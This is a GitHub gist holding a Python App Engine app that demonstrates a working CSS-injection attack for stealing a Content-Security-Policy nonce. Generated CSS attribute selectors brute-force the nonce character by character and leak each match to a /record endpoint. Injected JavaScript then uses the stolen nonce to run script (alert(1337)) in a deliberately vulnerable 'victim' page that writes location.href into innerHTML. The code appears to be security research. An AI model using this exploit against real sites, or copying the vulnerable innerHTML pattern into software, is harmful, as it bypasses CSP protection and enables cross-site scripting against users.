-
-
Save sirdarckcat/273b6449824244dee755814e1a8cb97d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
application: cspnonce-test | |
version: 1 | |
runtime: python27 | |
api_version: 1 | |
threadsafe: yes | |
handlers: | |
- url: /.* | |
script: main.APP | |
libraries: | |
- name: webapp2 | |
version: "2.5.2" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import time | |
import webapp2 | |
class RecordHandler(webapp2.RequestHandler): | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle requests from CSS rules.""" | |
if self.request.get('reset'): | |
self.response.delete_cookie('oldmatch') | |
elif self.request.get('finish'): | |
self.response.delete_cookie('oldmatch') | |
self.response.set_cookie('finish', self.request.get('finish')) | |
else: | |
newmatch = self.request.get('newmatch','') | |
oldmatch = self.request.cookies.get('oldmatch','') | |
self.response.set_cookie('oldmatch', oldmatch+','+newmatch) | |
self.response.write(newmatch) | |
class ImportHandler(webapp2.RequestHandler): | |
alphabet = 'abcdefghijklmnopqrstuvwxyz' | |
subTemplate = 'script[nonce^="%(match)s"]:after{content: url("record?newmatch=%(match)s");display: block;}' | |
extTemplate = 'script[nonce="%(match)s"]:after{content: url("record?finish=%(match)s");display: block;}' | |
def get_bruteforce(self, oldmatch): | |
output = self.extTemplate%({"match":oldmatch}) | |
for i in range(len(self.alphabet)): | |
output += self.subTemplate%({"match":oldmatch+self.alphabet[i]}) | |
return output | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle requests from @import rules.""" | |
sleep = int(self.request.get('sleep','0')) | |
if sleep: | |
time.sleep(sleep) | |
self.redirect('?sleep=0&r='+str(random.random())) | |
return | |
oldmatch = self.request.cookies.get('oldmatch','') | |
lastmatch = oldmatch.split(',').pop() | |
prefix='script{display:block!important;}' | |
bruteforce=self.get_bruteforce(lastmatch) | |
self.response.content_type='text/css' | |
self.response.write('%s\n%s'%(prefix,bruteforce)) | |
class ExploitHandler(webapp2.RequestHandler): | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle requests from CSS rules.""" | |
if self.request.get('reset'): | |
self.response.delete_cookie('finish') | |
self.response.delete_cookie('oldmatch') | |
self.response.write("""\ | |
<script> | |
var waitForNonce = new Promise(function(resolve, reject){ | |
var finishInterval = setInterval(function(){ | |
if (document.cookie.match(/finish=([^;]+)/)){ | |
clearInterval(finishInterval); | |
clearInterval(matchInterval); | |
console.log('Found the nonce!', RegExp.$1); | |
resolve(RegExp.$1); | |
clearInterval(attackInterval); | |
} | |
}, 500); | |
var matchInterval = setInterval(function(){ | |
if (document.cookie.match(/match=([^;]+)/)){ | |
console.log('match!', RegExp.$1.split(/,/).pop(), RegExp.$1); | |
} | |
}, 500); | |
}); | |
function iterate(){ | |
frames[0].location.href="victim#<style>@import url(/import?r="+Math.random()+");</style>"; | |
setTimeout(function(){ | |
document.links[0].click(); | |
},500); | |
} | |
if (parent==self) { | |
var iterateNext=1; | |
var attackInterval = setInterval(function() { | |
if(iterateNext==1)iterate(); | |
iterateNext--; | |
},100); | |
} | |
</script> | |
<a href="data:text/html,<script>history.back()</script>" target="foo"></a> | |
<iframe name="foo" onload="iterateNext=10;"></iframe> | |
<script> | |
if (parent==self) { | |
waitForNonce.then(n=>{ | |
setTimeout(()=>{ | |
frames[0].location.href="victim#<iframe srcdoc='<script nonce="+n+">alert(1337)<\/script>'></iframe>"; | |
setTimeout(function(){ | |
document.links[0].click(); | |
},500); | |
},1337); | |
}); | |
} else { | |
waitForNonce.then(n=>parent.postMessage(n,"*")); | |
} | |
</script> | |
""") | |
class VictimHandler(webapp2.RequestHandler): | |
def get(self): # pylint:disable-msg=invalid-name | |
"""Handle victim role.""" | |
if self.request.get('reset'): | |
self.response.delete_cookie('finish') | |
self.response.delete_cookie('oldmatch') | |
nonce = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(8)) | |
self.response.headers.add('content-security-policy', "default-src 'none';script-src 'nonce-%s' 'strict-dynamic'; style-src 'unsafe-inline' *; img-src *;"%nonce); | |
self.response.write("""\ | |
<body> | |
<div id=victim></div> | |
<script nonce=%s> | |
document.getElementById('victim').innerHTML=location.href; | |
</script> | |
</body> | |
"""%nonce) | |
APP = webapp2.WSGIApplication([ | |
('/record', RecordHandler), | |
('/import', ImportHandler), | |
('/exploit', ExploitHandler), | |
('/victim', VictimHandler), | |
], debug=True) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment